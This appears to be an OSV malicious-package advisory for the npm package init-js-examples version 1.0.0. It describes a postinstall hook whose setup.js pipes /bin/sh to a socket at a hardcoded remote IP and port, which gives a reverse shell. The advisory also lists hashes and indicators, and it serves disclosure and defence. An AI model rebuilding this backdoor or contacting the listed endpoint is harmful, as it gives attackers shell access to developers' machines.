MAL-2026-10996

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/init-js-examples/MAL-2026-10996.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10996
Published
2026-07-22T20:24:58Z
Modified
2026-07-23T07:51:42.369076971Z
Summary
Malicious code in init-js-examples (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2)

The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running npm install init-js-examples automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.

Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2",
            "modified_time": "2026-07-22T20:24:58Z",
            "id": "IN-MAL-2026-010800",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ],
            "import_time": "2026-07-22T20:31:07.774821365Z"
        }
    ]
}
References
Credits

Affected packages

npm / init-js-examples

Package

Name
init-js-examples
View open source insights on deps.dev
Purl
pkg:npm/init-js-examples

Affected ranges

Affected versions

1.*
1.0.0

Database specific

indicators 
{
    "evidence_files": [
        {
            "sha256": "90886bce3eef9a2e6219aa9e2b03f0433946f47e0ce246f55aa6bc9fe8a9cc0e",
            "tlsh": "8ae0928964b320b66273716aca2f811736b3001b3a02e199740d8c984f95408276eae1",
            "path": "setup.js"
        },
        {
            "sha256": "662d5bebce84305922c3325c8cfaa8ab0f1faa6b77cf2a21a0f551830d6df544",
            "tlsh": "a3d02e240e62563325c412670c2e9046b230ce2f0044bc1893db082c46cf2b36cfb30d",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-k/NjK1XFvKyaZkBkkLyGgRWldxZ/hKo8Dgf2Hx5iiAEV9ELDZSYkkw2+NHZ+QAzA0JbFMuJlbmXyfi1RhSf5IA==",
                "sha1": "26ced34708e5b1015dc866d4651bfe490c7fcdb8"
            },
            "filename": "init-js-examples-1.0.0.tgz"
        }
    ]
}
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/init-js-examples/MAL-2026-10996.json"